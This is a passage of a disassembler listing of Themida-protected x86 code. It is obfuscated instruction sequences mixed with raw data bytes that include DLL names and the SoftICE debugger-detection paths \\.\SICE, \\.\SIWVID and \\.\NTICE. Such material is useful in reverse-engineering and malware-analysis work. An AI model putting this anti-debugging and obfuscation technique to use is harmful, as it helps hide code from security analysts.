		sub	ebx, 0DB10D95Eh
		or	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 0D507AC7Fh
		sub	edx, 1E3D4BBBh
		add	edx, esi
		add	edx, 1E3D4BBBh
		pop	esi
		push	esi
		sub	esp, 4
		jmp	loc_553E43
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 94h
		dd 1C8BF908h, 8C58E924h, 7068FFFFh, 0E900004Fh,	0FFFEDD1Bh
; ---------------------------------------------------------------------------


loc_567A78:				; CODE XREF: Themida_:0055BBFDj
		xor	eax, ebx
		pop	ebx
		xor	ebp, eax
		pop	eax
		add	ecx, 6CBF322Eh
		add	ecx, ebp
		sub	ecx, 6CBF322Eh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5542A7
; ---------------------------------------------------------------------------


loc_567A9A:				; CODE XREF: Themida_:005602A8j
		sub	ecx, 0B7D6720h
		add	ecx, edx
		add	ecx, 0B7D6720h
		push	eax
		mov	eax, 0
		add	eax, ecx
		mov	[eax], esi
		pop	eax
		pop	ecx
		pop	edx
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		xchg	esi, [edi+20h]
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_55BD78
; ---------------------------------------------------------------------------


loc_567AD4:				; CODE XREF: Themida_:00566447j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 50h
		dd 9650B8B8h, 68480Fh, 57000000h, 0A4060ABFh, 247C2963h
		dd 4295F04h, 24048124h,	63A4060Ah, 0AF4B3558h, 0EF81F069h
		dd 0D6B178Dh, 0FF1FF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567B11:				; CODE XREF: Themida_:005675B1j
		mov	ebx, 0DD1192Eh
		jmp	loc_555EF5
; ---------------------------------------------------------------------------
		db 68h
		dd 5A9272E6h, 4BD3F75Bh, 0D503C381h, 0C5E980F2h, 83FFFEC5h
		dd 3C8904ECh, 2474FF24h, 48F5F04h, 24895C24h, 6845E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B46:				; CODE XREF: Themida_:005557C5j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_567C90
; ---------------------------------------------------------------------------
		db 59h,	53h, 0BBh
		dd 0D0FEE11Bh, 1C8BDF01h, 4C48124h, 29000000h, 0E3BEE9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B6A:				; CODE XREF: Themida_:0055ECA1j
		not	eax
		sub	eax, 0BFCFB779h
		add	edx, eax
		jmp	loc_556115
; ---------------------------------------------------------------------------


loc_567B78:				; CODE XREF: Themida_:005614EAj
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0E8h
		jmp	loc_55846D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 0E2895224h, 4C281h, 0C2810000h, 2, 0AC2AE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567BA2:				; CODE XREF: Themida_:0055C7EEj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	3D550991h
		jmp	loc_55997B
; ---------------------------------------------------------------------------


loc_567BBC:				; CODE XREF: Themida_:0055AECBj
		mov	bl, 0BAh
		mov	dl, 0B2h
		add	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55DD1C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 97E95C24h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567BE7:				; CODE XREF: Themida_:0055A38Fj
		sub	edx, 19AB33FCh
		jmp	loc_5545C0
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 0FF6150E9h, 0EDF281FFh, 96002D3h, 0ADE95AD3h, 81FFFF99h
		dd 59A556F6h, 5EF001C5h, 0FF16D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567C15:				; CODE XREF: Themida_:0056753Aj
		push	cx
		mov	cl, 55h
		jmp	loc_565F42
; ---------------------------------------------------------------------------
		dw 0D9B9h
		dd 31A1FF8Dh, 0F22959CEh
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_567C43:				; CODE XREF: Themida_:0055372Ej
		add	esp, 4
		jmp	loc_560F36
; ---------------------------------------------------------------------------
		db 1
		dd 0D074E9C3h, 0C381FFFFh, 2ECE1535h, 0FEF241E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567C5D:				; CODE XREF: Themida_:00563A06j
		xor	ecx, 577D7D1Eh
		mov	edi, ecx
		pop	ecx
		add	dword ptr [esp+4], 3D0C007Ch
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 3D0C007Ch
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_554653
; ---------------------------------------------------------------------------
		db 5Ch,	55h, 0E9h
		dd 0FFFEBC4Ah
; ---------------------------------------------------------------------------


loc_567C90:				; CODE XREF: Themida_:00567B4Cj
		push	ebp
		mov	ebp, 22B76EA6h
		and	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_562529
; ---------------------------------------------------------------------------
		dd 0F70C181h, 0E9D17998h, 896FC181h, 0BF57DB60h, 3F2A262Fh
		dd 15FFB29h, 2FC381CBh,	0FF3F2A26h
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, 5B2626D6h
		add	ebp, ecx
		sub	ebp, 5B2626D6h
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5677B3
; ---------------------------------------------------------------------------


loc_567CFB:				; CODE XREF: Themida_:0055A0B6j
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_555545
; ---------------------------------------------------------------------------


loc_567D0C:				; CODE XREF: Themida_:0055A1C7j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5647CB
; ---------------------------------------------------------------------------


loc_567D19:				; CODE XREF: Themida_:00558247j
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565BDB
; ---------------------------------------------------------------------------
		dd 0F651CDFEh, 0E9012454h, 0FFFFB716h, 0FEAEF7E9h, 4BEFFh
		dd 0C1810000h, 48BB6A2Bh, 45DE9h
		db 0
; ---------------------------------------------------------------------------


loc_567D51:				; CODE XREF: Themida_:00556048j
		xor	ebp, 0F5EFD65Ch
		add	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_55AC84
; ---------------------------------------------------------------------------
		dd 0FB6DE952h, 6851FFFFh, 6551h, 68243C89h, 424A0342h
		dd 0FF8022E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567D8D:				; CODE XREF: Themida_:0055B42Dj
		mov	ebp, 4DA060E8h
		jmp	loc_555112
; ---------------------------------------------------------------------------
		db 0BFh
		dd 40CE374Fh, 3E7C781h,	0F83121CAh, 1D042D5Fh, 0B951564Ch
		dd 77A9527Fh, 0BCE3C181h, 0C80995D0h, 0C7983559h, 0C381843Dh
		dd 241F7B23h, 0EB81C329h, 241F7B23h, 8324048Bh,	0D82904C4h
		dd 4EC815Bh, 89000000h,	0FDE9241Ch, 0C1FFFF69h,	843505E0h
		dd 1520C7Ah, 0C3358C1h,	240C3124h, 0E9240C33h, 0FFFFB902h
; ---------------------------------------------------------------------------


loc_567DFC:				; CODE XREF: Themida_:loc_56162Aj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_566BF2
		push	esi
		push	ebp
		mov	ebp, 2233707Eh
		jmp	loc_55300B
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 68000000h,	41D8h, 0FFCDD1E9h, 924092FFh, 0FF815FE9h
		dd 0DDBF57FFh, 2958B13Ch, 0F3E95FFDh, 1FFFF4Eh,	24048BC3h
		dd 4C481h, 1C870000h, 15E6E924h, 3433FFFFh, 922DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567E56:				; CODE XREF: Themida_:00558EBFj
		xchg	esi, [esp]
		pop	esp
		and	[edi+1Ch], esi
		pop	esi
		jmp	loc_55B6A7
; ---------------------------------------------------------------------------
		db 52h
		dd 0FEC57CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567E69:				; CODE XREF: Themida_:00567EC8j
		push	0C3Dh
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		jmp	loc_55383E
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 6Bh
		dd 5EFFFF0Bh, 761EE981h, 0B1E97C6Ah, 31FFFF80h,	4DE95DEAh
		dd 66FFFF5Ah, 81240C8Bh, 2C4h, 0AEC38000h, 0FFD494E9h
		dd 61F180FFh, 0E9EEE980h, 0FFFEF1EBh, 0FA333E2Dh, 5D00139h
		dd 39FA333Eh, 92C1E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567EC2:				; CODE XREF: Themida_:00566796j
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_567E69
; ---------------------------------------------------------------------------
		db 29h,	0D1h, 5Ah
		dd 0FF8845E9h, 0AD5EE9FFh, 1487FFFEh, 24248B24h, 0DFE930FFh
		dd 5CFFFF9Ch, 66C82858h, 83240C8Bh, 0E95102C4h,	0FFFF1B9Dh
		dd 4240481h, 8B000000h,	4CE9242Ch, 66FFFEB5h, 29E99C50h
		dd 57FFFEADh, 0FF9EF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567F15:				; CODE XREF: Themida_:00554043j
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5547F2
; ---------------------------------------------------------------------------
		dd 0FEC78147h, 815DFE6Dh, 8C67F3EBh, 56FB0152h,	3A3AE8BEh
		dd 0E9D6F714h, 0FFFF4315h
; ---------------------------------------------------------------------------


loc_567F40:				; CODE XREF: Themida_:0055F146j
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	10h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_55A2CE
; ---------------------------------------------------------------------------
		dw 315Fh
		dd 0CF4DE9FEh, 34FFFFFEh, 0C4835B24h, 5EF30104h, 3D68E3D1h
		dd 0E900007Ch, 0FFFFEDFAh, 0B278E405h, 58C301B9h, 15B5F53h
		dd 243C8BF8h, 4C481h, 2050000h,	33000000h, 0EDE92404h
		db 0E3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_567FA3:				; CODE XREF: Themida_:0056107Ej
		pop	esp
		push	833h
		jmp	loc_560352
; ---------------------------------------------------------------------------
		dw 405h
		dd 33000000h, 4312404h,	24043324h, 4C4815Ch, 68000000h
		dd 6882h, 83241C89h, 248904ECh,	24048324h, 2434FF04h, 4EC815Bh
		dd 89000000h, 8B542434h, 71E92434h, 53FFFF2Dh, 2A0E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567FF2:				; CODE XREF: Themida_:0055F74Dj
		push	7EAh
		mov	[esp], esi
		jmp	loc_55BB95
; ---------------------------------------------------------------------------
		db 2Dh
		dd 702D04A6h, 0A605D829h, 2D702D04h, 4DE73099h,	0DF14E952h
		dd 8B66FFFEh, 64E92404h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56801F:				; CODE XREF: Themida_:005612A1j
		mov	edi, 4
		jmp	loc_566A86
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24348B04h, 4C481h, 48F0000h,	24248B24h, 0FF9D84E9h
		dd 74FF51FFh, 8F590424h, 0E95C2404h, 0FFFEABE8h, 7305F281h
		dd 9AE994D4h, 29FFFF33h, 0CD6CE9F0h, 15DFFFFh, 0D44CE9CAh
		dd 0CB87FFFFh, 55BDEB81h, 0DA895E0Ah, 4EC835Bh,	89243489h
		dd 0DC90E9D6h, 815BFFFEh, 0CFF6BFC7h, 63E98109h, 293E074Dh
		dd 97BA52F9h, 0F7101C45h, 1AC281DAh, 515AAB23h,	879020B9h
		dd 93EA810Ch, 0E96EAD75h, 0FFFF379Eh, 240C8B66h, 4EC81h
		dd 2C890000h, 14B06824h, 24890000h, 24048124h, 4, 16D5685Dh
		dd 14E90000h, 66FFFF71h, 68C8B60Fh, 7D0Ah, 81241489h, 4ECh
		dd 24248900h, 4240483h,	4EC815Ah, 89000000h, 0B850240Ch
		dd 6E715828h, 0E8C1D8F7h, 3E0C102h, 1D4FAC2Dh, 58C18923h
		dd 0FF02DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568115:				; CODE XREF: Themida_:0055C335j
		pop	eax
		add	esp, 4
		jmp	loc_556103
; ---------------------------------------------------------------------------


loc_56811E:				; CODE XREF: Themida_:0055B98Cj
		dec	edx
		add	edx, 8AEDAB83h
		mov	esi, edx
		pop	edx
		push	esi
		xor	[esp], ebp
		jmp	loc_55510A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 0C8704C1h, 0EC815C24h, 4,	0E9240489h, 0FFFF329Eh
		dd 0FEAAE7E9h, 5FC781FFh, 0E945E75Fh, 0FFFEB6CBh
; ---------------------------------------------------------------------------


loc_56815C:				; CODE XREF: Themida_:005581E6j
		push	edx
		mov	edx, 34CD0E54h
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_56141D
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFEB495h, 335EF101h, 5BE9240Ch
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568183:				; CODE XREF: Themida_:00560773j
		pop	edx
		jmp	loc_559958
; ---------------------------------------------------------------------------


loc_568189:				; CODE XREF: Themida_:00564CEBj
		push	ebx
		mov	ebx, 5A3F331Ch
		jmp	loc_567A2E
; ---------------------------------------------------------------------------


loc_568194:				; CODE XREF: Themida_:0055953Dj
		mov	[esp], esi
		jmp	loc_55B977
; ---------------------------------------------------------------------------
		dd 0F607EDC0h, 6CED80DDh, 2859EE00h, 0D273E9F4h, 0F101FFFFh
		dd 6A2BE981h, 535E48BBh, 589AE951h, 36EBFFFFh, 52455355h
		dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h
		dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 30009h, 2001Ah, 330008h
		dd 0CEA40241h, 70E91DC1h, 68000009h, 5EBA140h, 0FDDFBEE9h
		dd 0A1BB68FFh, 0B4E905EBh, 68FFFDDFh, 5EBA2BBh,	0FDDFAAE9h
		dd 0A43768FFh, 0A0E905EBh, 68FFFDDFh, 5EBA4AAh,	0FDDF96E9h
		dd 0A5DB68FFh, 8CE905EBh, 68FFFDDFh, 5EBA63Dh, 0FDDF82E9h
		dd 0E70E4EFFh, 79A8E4CAh, 0A39765Ch, 99CC07EDh,	2D58967Ch
		dd 0DCD60C10h, 7056739Eh, 5EB082Fh, 987E9BC6h, 410E2B5Eh
		dd 0BAECB260h, 99F21322h, 94684BBh, 0C49E41B1h,	632D5B86h
		dd 577899C6h, 0C91AE5A9h, 0D673E916h, 321CFB1Ch, 29D7F81Ch
		dd 13201465h, 7456F369h, 0ECC6CFFEh, 87517FB2h,	20CB30EAh
		dd 5CB445F6h, 1A9B49ECh, 24C002E4h, 2A36235Fh, 711F60B0h
		dd 0CF13A62Dh, 7DD93BB1h, 18E21043h, 0FC3913B6h, 0A698DE8Ch
		dd 0B026CF13h, 0FA56204Eh, 3AF28FBEh, 0F70CCB23h, 3D70ABFCh
		dd 0FB39478Ch, 0CF3193BAh, 6E777E2Ch, 85FBC5E8h, 9BCE08E2h
		dd 13C7C9F8h, 0CC462C26h, 68A2882Fh, 0B6000435h, 574F933Ch
		dd 7BD9Bh, 1B428200h, 0ADDC18FEh, 3E6DAA90h, 0CD003B21h
		dd 618CCAB0h, 18A24044h, 0AC92AFDAh, 4127446Bh,	0D4BAD702h
		dd 7D4A679Ah, 0BBA8EE9Ch, 0DD361322h, 5588C2FFh, 48B81027h
		dd 4E5584A5h, 1482BD8Ah, 0CEE5A957h, 73E916C9h,	47BA7411h
		dd 8B1C2F7Fh, 83B1DC1Bh, 0DAB457B9h, 6D53709Bh,	7E98B42Eh
		dd 0B4C7152Dh, 42202AADh, 56B81AB8h, 0F72A6428h, 845DB0C6h
		dd 6B271F69h, 742h, 83A0C707h, 1532619Dh, 0A6C3F22Fh, 355285C0h
		dd 0C9E6114Fh, 57951DC5h, 0E8290F2Ch, 7FBEA4C1h, 17513754h
		dd 19FAC7E4h, 22BB2B6Bh, 7C5AB313h, 3960A17Bh, 497CB69Ch
		dd 0EA1D571Bh, 680D2CBCh, 0CFD39D43h, 609340h, 0C2590000h
		dd 0A385588h, 3960A17Bh, 0ABE5410Bh, 2121DB78h,	6116C91Ah
		dd 9ED7F427h, 1233D646h, 917882E3h, 69A763E3h, 0E446103Eh
		dd 0F5998D47h, 0EEA51C32h, 20D57E40h, 0A80A8013h, 0C1EC2B05h
		dd 9A06441Eh, 20D5AAECh, 5CBE3413h, 0F33218BFh,	16392CEh
		dd 6A017D3h, 7E580000h,	1AE41241h, 5A7B4F7Dh, 0C91AEAACh
		dd 0E17EF416h, 608EC1FBh, 0DE81F149h, 321A1B30h, 0C8E55B1Ch
		dd 5875A8E2h, 7B08C71Fh, 5B31D2C8h, 1B4AED4Fh, 83B9554Ah
		dd 0C7F49195h, 0C648EB19h, 16B92F19h, 0B5D2FD3Ch, 2E6B90CFh
		dd 0A507D1FFh, 4679B377h, 6DDAA515h, 0C480786Fh, 642h
		dd 83A0C707h, 1532619Dh, 0A6C3F22Fh, 355285C0h,	0C9E6114Fh
		dd 57951DC5h, 0E8290F2Ch, 7FBEA4C1h, 17513754h,	19FAC7E4h
		dd 22B82B6Bh, 7C5AB313h, 3863A17Bh, 77BB59Bh, 0C91A1559h
		dd 0C1239916h, 6295CF93h, 0F085A434h, 0C91934E0h, 0C1853316h
		dd 0CD16C91Bh, 0F1A0F557h, 0F140CFD6h, 0FFFFFEF0h, 0ADE889B8h
		dd 0F2204F8Ch, 0B727728h, 0C24D7B18h, 91B25588h, 0C91AA3E3h
		dd 18B52B16h, 3E7B5560h, 0E139720Fh, 0F20CE71h,	0C41C31F9h
		dd 517FAEEAh, 9808EA87h, 3AFE2C5Bh, 0D7A1CFFEh,	0BDF61375h
		dd 0A452F565h, 19DB381Bh, 704AED63h, 0AD40235h,	241DB56Dh
		dd 5E16C93Ah, 4C8F61Dh,	3762A1C6h, 0AFDD3F09h, 0F2929B96h
		dd 6E141474h, 0D742A4Bh, 0FEA2096Ch, 0F240CF8Dh, 1D1h
		dd 0AC5A7BB8h, 16C91AEAh, 0BDE17EF4h, 9B5AB20Dh, 341D00AEh
		dd 913FE24Ch, 16C9F3CDh, 56F95BD1h, 32F547A8h, 0D917871Ch
		dd 871D4CAEh, 45F6C962h, 0F295055Dh, 11AED918h,	73A2C3E4h
		dd 0AF202E2Dh, 793D6D5Fh, 85CAFA83h, 37B8720Fh,	0ECC0026Fh
		dd 2E7B9FBDh, 479B9532h, 0BA51C605h, 16F895F7h,	35B72A0h
		dd 3342F093h, 0ECC5E867h, 0B967D312h, 0CAFA55F5h, 0F32183F9h
		dd 3AAA8C29h, 6994D2FFh, 0E10F713Bh, 53B5DC1Dh,	2C8EB9F7h
		dd 4275AF89h, 0D2053F25h, 3D073FA1h, 5A160E93h,	4C6h, 7244B8Bh
		dd 99B6E521h, 2A4776B3h, 0B9D60944h, 4D6A95D3h,	0E3219949h
		dd 74B59BB8h, 0B4A304Dh, 0A3DDC3E0h, 0A5865370h, 22BEB7F7h
		dd 0DE3713h, 4A7176Fh, 20BDF02Ah, 7A0A45F3h, 6B451C2Fh
		dd 9D3012Ch, 71148A6Ch,	53002F50h, 9CCCFA54h, 43DA9CCCh
		dd 6EE41322h, 81ACEBD1h, 143F7E64h, 0BBE822E6h,	0BBEC4E81h
		dd 6984FD3Fh, 535A160Eh, 18000004h, 0AE94B1D8h,	40264372h
		dd 0D1B7D403h, 60466396h, 0D6DAF722h, 3D68A60Ch, 0D2F93A20h
		dd 6590CFB5h, 0F5286248h, 7C2A0BD8h, 1322BE3Ah,	7B8D6BC4h
		dd 9B3863A1h, 59077BB5h, 16C91A15h, 93C12399h, 346295CFh
		dd 53B53370h, 39D8EA91h, 642856B8h, 0BBC9F72Ah,	4872DD98h
		dd 0B4EDF950h, 22149ABh, 6DB35D73h, 98ED16C9h, 40CFA2C9h
		dd 0FFFCEFE9h, 5A7BAFFFh, 1ACB8B39h, 5DD316C9h,	0C91A692Dh
		dd 0C4057516h, 43A56F9Dh, 5386C0A6h, 6B9AD6B0h,	1ED6733Dh
		dd 9C3FAF07h, 3762A17Bh, 4F0F3F09h, 4F16C91Ah, 1AA4EA98h
		dd 0B42A16C9h, 6788B552h, 86234E8Dh, 3207D7CCh,	9CB92F1Ch
		dd 241846Eh, 0E9973AAAh, 1C321C04h, 0FA5D44Ah, 0AB354955h
		dd 0C851E312h, 0BEBDD4E4h, 52EF5184h, 0AE51C119h, 0CF817F00h
		dd 5B89FFB1h, 0D97CEC44h, 0E394C3FFh, 52219012h, 6693304Eh
		dd 30762445h, 0BEBEDEBDh, 83E5104Eh, 22BFE627h,	25B66968h
		dd 4381F1B4h, 7D20EA18h, 37848FCFh, 37990FBBh, 4D80BA94h
		dd 0DD104A30h, 71B85EACh, 39F5EDC1h, 322h, 6380A7E7h, 0F512417Dh
		dd 86A3D20Fh, 153265A0h, 0A9C6F12Fh, 37753DA5h,	0C809EF0Ch
		dd 5F9E84A1h, 0F7311734h, 0F9DAA7C4h, 22BF0B4Bh, 5C3A9313h
		dd 6CAD176Fh, 0F14D1745h, 8B5583B6h, 87D88629h,	71C2F7Ah
		dd 0D514EE91h, 68A78DAAh, 2A040F3Dh, 3F25C2E9h,	59A1D205h
		dd 0EC6984B6h, 2C038F4h, 45850000h, 0DF1B011Eh,	70AD93B0h
		dd 33E2441h, 8FCDB3D0h,	9F434764h, 8DAAD513h, 223F66A7h
		dd 0B5D2FD3Ch, 456295CFh, 0A5E99778h, 291322BCh, 176FF2D0h
		dd 3DD504A7h, 0EE600CCBh, 294A7714h, 47E4134Fh,	2F53D88Dh
		dd 0CD70E61Ch, 9745B9F3h, 132293D7h, 5CFF61D7h,	8A74232Dh
		dd 80231075h, 22B28CD2h, 0FF9C1213h, 56C81F58h,	0B24F05B3h
		dd 0D9081322h, 663DE2CEh, 0CD003ABCh, 76ECCE6Bh, 1B468448h
		dd 8B3E2EDh, 6A29BB7Fh,	93ED329Ch, 87E9742Bh, 93C1EC2Bh
		dd 0E7F62CC9h, 7FB2ECC6h, 17578751h, 971322DEh,	5DBFE627h
		dd 719CDAC0h, 52C41B54h, 0DEB501AFh, 0C3391322h, 6497D195h
		dd 205A2236h, 5B89B4F3h, 0E5122F91h, 84FF35B6h,	4F00C25Ch
		dd 0E8B4DF59h, 290FAC6Ch, 8C8EBCEFh, 22559002h,	0C8EF30F4h
		dd 363FB69Ah, 0BF99D068h, 0F41B5C81h, 0FD9AFCC6h, 0BDF7ADC8h
		dd 0CF0DE78Ah, 0DF416CAAh, 0D7DF762Eh, 4AE776A5h, 5083BDA3h
		dd 0F5205E22h, 96C903C7h, 3867A468h, 3243920Ah,	0F085E46Ch
		dd 2A477AB4h, 38DB0644h, 0C5F3225Eh, 9BA65EFBh,	0F7AA446Ch
		dd 22170549h, 62138913h, 25EEF3Eh, 0D3F794C7h, 0AA84BBBBh
		dd 4812406Bh, 0A5FF76ABh, 4BB1ED67h, 1CB87098h,	275584C0h
		dd 0B1DEFB5Dh, 0FDC16F90h, 1132260h, 601B5B8Bh,	2DA31322h
		dd 416CAA90h, 8FCF7D9Eh, 0F132260h, 836619Fh, 873FDC3Eh
		dd 6A1884C3h, 13226024h, 0E33B6AA6h
		dd 19DD0B6Dh, 6A83B1D8h, 959141B0h, 9CD73389h, 0EC4B3B69h
		dd 22991589h, 0E8135153h, 30762445h, 0BE132295h, 1E04AB48h
		dd 0EB83B1E4h, 9B53BD6Dh, 891B5AD1h, 19FF1C4Fh,	0E809ACDFh
		dd 51F2743Ah, 0D3876ABh, 0EAA23FB5h, 0F038B0DFh, 0B6B8EA95h
		dd 4BE84A79h, 0CEFC2765h, 8CCBA5C0h, 98FA2D67h,	0CE03A06Ah
		dd 0E795B6A7h, 0AB51ECA7h, 8DBBE223h, 97A66BC3h, 778826A8h
		dd 8B710E70h, 1B011E51h, 6980AEE1h, 3F66A711h, 42E54711h
		dd 0CFFD2C68h, 8D3B6805h, 0A1A93C80h, 0C2FB188Eh, 7D57FA6Ah
		dd 19E31140h, 0BCA14F7Ch, 0B7A45E96h, 4371A0DDh, 84FADC79h
		dd 0AA8BB2E1h, 0C548D73Ah, 72AC7028h, 0D4F5223Fh, 5F8DC0FAh
		dd 0D3216595h, 0F6ADAB53h, 53D30648h, 0B01288ABh, 71F32D13h
		dd 38743110h, 6011DB09h, 0EE50210Ch, 388128C0h,	607B4375h
		dd 0EC1A4986h, 25508522h, 0D918457Fh, 492F4CAEh, 0EAAEDC0Fh
		dd 0B8D97CAFh, 7970440Ah, 37D44AB3h, 51249B7Fh,	0C4F7320Ch
		dd 0D4074127h, 6A97D1B7h, 0AD40229h, 3BE7AA8h, 0FE000000h
		dd 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h,	16541846h
		dd 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h,	51864775h
		dd 0B850E189h, 78902EEFh, 0F42D9735h, 5BF32522h, 0D8F74B63h
		dd 9FFC9435h, 58C101B5h, 8704E983h, 685C240Ch, 524h, 83241489h
		dd 3C8904ECh, 4EC8324h,	0BB241C89h, 5EBA074h, 685BDA89h
		dd 2E90h, 83242489h, 5F042404h,	21BD68h, 24148900h, 0FF08478Fh
		dd 835F2434h, 148B04C4h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 0FDD65AE9h, 0B82D49FFh, 5EBA922h, 0E0FFC503h
		dd 27D7D19Ah, 616F2AEDh, 6D5FFF1Fh, 3CD54B7Dh, 232A77E7h
		dd 6D9EF07Eh, 51319467h, 700DF6F8h, 12764263h, 27880684h
		dd 49AEEDA8h, 42FF4879h, 77641511h, 4645834Fh, 78FE09CFh
		dd 56550D4Bh, 1FF32E14h, 2A8D19ECh, 6AFF1E63h, 3F7D1A98h
		dd 550BC9C8h, 53BA28B9h, 117C4D89h, 5E8h, 98695600h, 665A8F1Eh
		dd 8193CCB8h, 71AEC2h, 0E8816600h, 0BB3651h, 0F000000h
		dd 34FFF0B7h, 5F53B413h, 0E8BE6656h, 0C781583Bh, 4C3E473Dh
		dd 880Fh, 0C7810000h, 0BF85282h, 0ABD4BE66h, 0B4CBEF81h
		dd 0B9661CB7h, 3C89E27Bh, 8052601Ah, 0E95ED3EBh, 0Ch, 664AE052h
		dd 6325A575h, 0D3F837E3h, 86EB8161h, 6055E63Fh,	0E1805F52h
		dd 0C38161C9h, 55E63F82h, 9572E681h, 0FB813D9Eh, 0FFFF8ED8h
		dd 0FF94850Fh, 0E9F5FFFFh, 72h,	0D9BD8360h, 5E927h, 5840Fh
		dd 5DE90000h, 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h
		dd 3E800000h, 8850F33h,	6A000000h, 24E94610h, 80000000h
		dd 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h
		dd 2E9h, 8D006A00h, 0E9117585h,	90509005h, 24348950h, 95FF006Ah
		dd 5E91DA5h, 85C6C361h,	5E90EE5h, 2013684Dh, 481943Dh
		dd 0F8569524h, 39B5FF0Fh, 8D05E900h, 0E939CF85h, 89D0FF05h
		dd 0E91DA585h, 5C1EEB05h, 535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0CBFEC351h, 7CE6D53Ah, 0FB2DE80h,	184h, 0BD83FC00h
		dd 5E9164Dh, 83097500h,	0E91121BDh, 19740005h, 0C08B5350h
		dd 40FB8h, 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h
		dd 21BD8358h, 5E911h, 53501774h, 40FB8h, 0B9858900h, 8D05E923h
		dd 0EBB5B39Dh, 5BD3FF05h, 12E958h, 71680000h, 86BB725h
		dd 3683F648h, 0B2EF5AEh, 6EE9F2DCh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0BCC35747h,	1A59AE92h, 333945E7h
		dd 6D78166h, 0FC08BB8h,	2081h, 14E800h,	0ED8D0000h, 0C55174C8h
		dd 5B86E7D5h, 9474DD97h, 0CDF0DC11h, 9D89E641h,	5E93309h
		dd 0B1858959h, 0C605E921h, 0E90EE585h, 6A4305h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 786844C3h, 814793D0h, 9E842404h, 0CE974FAh, 0CC000000h
